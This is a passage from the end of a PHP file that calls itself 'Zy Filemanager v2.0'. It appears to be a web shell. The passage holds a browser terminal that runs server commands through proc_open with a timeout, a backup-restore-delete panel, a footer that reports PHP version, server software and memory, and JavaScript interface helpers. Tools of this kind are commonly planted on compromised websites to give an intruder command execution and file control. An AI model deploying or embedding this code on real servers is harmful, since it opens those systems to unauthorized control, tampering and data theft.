$timed_out = true;
proc_terminate($process, 9);
$output .= "nn[Command terminated due to timeout after {$TERMINAL_TIMEOUT} seconds]";
break;
}
usleep(100000);
}
@fclose($pipes[1]);
@fclose($pipes[2]);
@proc_close($process);
if ($output === '') {
$output = "[No output]";
}
// Highlight output
$output = htmlspecialchars($output);
$output = preg_replace('/b(error|fail|failed|denied|permission)b/i', '<span style="color:#ff4444;">$0</span>', $output);
$output = preg_replace('/b(success|ok|done|completed)b/i', '<span style="color:#00ff88;">$0</span>', $output);
$output = preg_replace('/b(warning|notice)b/i', '<span style="color:#ffff00;">$0</span>', $output);
echo nl2br($output);
}
?>
</div>
</div>
<?php
endif;
endif;
?>
</div>
<!-- Backup Restore Section (Hidden by default) -->
<details style="margin-top: 20px; background: #1a1a1a; border-radius: 8px; padding: 15px;">
<summary style="color: #00ccff; font-weight: bold; cursor: pointer;">
🔧 Advanced Tools (Backup & Restore)
</summary>
<div style="margin-top: 15px;">
<h4>Backup Management</h4>
<p style="color: #888; margin-bottom: 10px;">
Backup files are automatically created when editing files. They have .backup_YYYYMMDD_HHMMSS extension.
</p>
<?php
// List backup files
$backup_files = [];
if ($handle = opendir($path)) {
while (false !== ($entry = readdir($handle))) {
if (preg_match('/.backup_d{8}_d{6}$/', $entry)) {
$backup_files[] = $entry;
}
}
closedir($handle);
}
if (!empty($backup_files)):
sort($backup_files);
?>
<table style="margin-top: 10px; font-size: 12px;">
<tr>
<th>Backup File</th>
<th>Size</th>
<th>Modified</th>
<th>Actions</th>
</tr>
<?php foreach ($backup_files as $backup): ?>
<tr>
<td><?php echo htmlspecialchars($backup); ?></td>
<td><?php echo formatSize(filesize($path . '/' . $backup)); ?></td>
<td><?php echo date('Y-m-d H:i', filemtime($path . '/' . $backup)); ?></td>
<td>
<a href="?path=<?php echo urlencode($path); ?>&restore=<?php echo urlencode($backup); ?>"
onclick="return confirm('Restore from this backup?')"
class="action-btn">Restore</a>
<a href="?path=<?php echo urlencode($path); ?>&delete_backup=<?php echo urlencode($backup); ?>"
onclick="return confirm('Delete this backup?')"
class="action-btn delete-btn">Delete</a>
</td>
</tr>
<?php endforeach; ?>
</table>
<?php else: ?>
<p style="color: #888; text-align: center;">No backup files found</p>
<?php endif; ?>
</div>
</details>
<!-- Footer -->
<div style="margin-top: 30px; padding: 20px; text-align: center; color: #888; border-top: 1px solid #333;">
<p>Zy Filemanager v2.0 | Enhanced with Anti-500, Anti-Blank, Anti-Error Protection</p>
<p style="font-size: 12px; margin-top: 5px;">
PHP Version: <?php echo phpversion(); ?> |
Server: <?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; ?> |
Memory: <?php echo formatSize(memory_get_usage(true)); ?>
</p>
</div>
<script>
// JavaScript for enhanced functionality
// Theme toggle
const themeBtn = document.getElementById('toggleTheme');
const body = document.body;
if (localStorage.getItem('theme') === 'light') {
body.classList.add('light');
themeBtn.textContent = '☀️ Light Mode';
}
themeBtn.addEventListener('click', () => {
body.classList.toggle('light');
if (body.classList.contains('light')) {
localStorage.setItem('theme', 'light');
themeBtn.textContent = '☀️ Light Mode';
} else {
localStorage.setItem('theme', 'dark');
themeBtn.textContent = '🌙 Dark Mode';
}
});
// Loading overlay
function showLoading() {
document.getElementById('loadingOverlay').style.display = 'flex';
return true;
}
function hideLoading() {
document.getElementById('loadingOverlay').style.display = 'none';
}
// Auto-hide loading after 5 seconds (safety)
setTimeout(hideLoading, 5000);
// Confirmation for delete
function confirmDelete(filename) {
return confirm(`Are you sure you want to delete "${filename}"?nnThis action cannot be undone!`);
}
// Validate rename
function validateRename(form) {
const newName = form.rename_to.value.trim();
if (!newName) {
alert('New name cannot be empty!');
return false;
}
if (/[/\:*?"<>|]/.test(newName)) {
alert('Invalid characters in filename!');
return false;
}
return confirm(`Rename to "${newName}"?`);
}
// Validate file save
function validateFileSave(form) {
const content = form.content.value;
if (content.length > 10485760) { // 10MB limit
if (!confirm('File is very large (' + Math.round(content.length / 1024 / 1024) + 'MB). Save anyway?')) {
return false;
}
}
showLoading();
return true;
}
// Terminal functions
function insertCommand(cmd) {
document.getElementById('cmdInput').value = cmd;
document.getElementById('cmdInput').focus();
}
function clearTerminal() {
if (confirm('Clear terminal output?')) {
const output = document.getElementById('terminalOutput');
if (output) output.innerHTML = '';
}
}
// Auto-scroll terminal to bottom
function scrollTerminalToBottom() {
const output = document.getElementById('terminalOutput');
if (output) {
output.scrollTop = output.scrollHeight;
}
}
// Initialize
document.addEventListener('DOMContentLoaded', function() {
// Scroll terminal to bottom
setTimeout(scrollTerminalToBottom, 100);
// Auto-hide messages after 5 seconds
setTimeout(() => {
const messages = document.querySelectorAll('.error-message, .success-message');
messages.forEach(msg => {
msg.style.transition = 'opacity 0.5s';
msg.style.opacity = '0';
setTimeout(() => msg.remove(), 500);
});
}, 5000);
// Prevent accidental navigation
window.addEventListener('beforeunload', function(e) {
const textarea = document.getElementById('fileContent');
if (textarea && textarea.value !== textarea.defaultValue) {
e.preventDefault();
e.returnValue = 'You have unsaved changes. Are you sure you want to leave?';
}
});
});
// Keyboard shortcuts
document.addEventListener('keydown', function(e) {
// Ctrl+S to save in editor
if ((e.ctrlKey || e.metaKey) && e.key === 's' && document.getElementById('editForm')) {
e.preventDefault();
document.getElementById('editForm').submit();
}
// Ctrl+F to focus search
if ((e.ctrlKey || e.metaKey) && e.key === 'f') {
e.preventDefault();
const cmdInput = document.getElementById('cmdInput');
if (cmdInput) cmdInput.focus();
}
// Escape to clear terminal
if (e.key === 'Escape') {
clearTerminal();
}
});
// File drop zone enhancement
document.addEventListener('dragover', function(e) {
e.preventDefault();
if (e.target.tagName === 'INPUT' && e.target.type === 'file') {
e.target.style.borderColor = '#00ccff';
e.target.style.boxShadow = '0 0 10px rgba(0, 204, 255, 0.5)';
}
});
document.addEventListener('dragleave', function(e) {
if (e.target.tagName === 'INPUT' && e.target.type === 'file') {
e.target.style.borderColor = '';
e.target.style.boxShadow = '';
}
});
// Network status monitor
window.addEventListener('online', function() {
showMessage('Connection restored', 'success');
});
window.addEventListener('offline', function() {
showMessage('Connection lost - working offline', 'error');
});
function showMessage(text, type) {
const msg = document.createElement('div');
msg.className = type === 'success' ? 'success-message' : 'error-message';
msg.textContent = text;
document.body.insertBefore(msg, document.body.firstChild);
setTimeout(() => msg.remove(), 3000);
}
</script>
</body>
</html>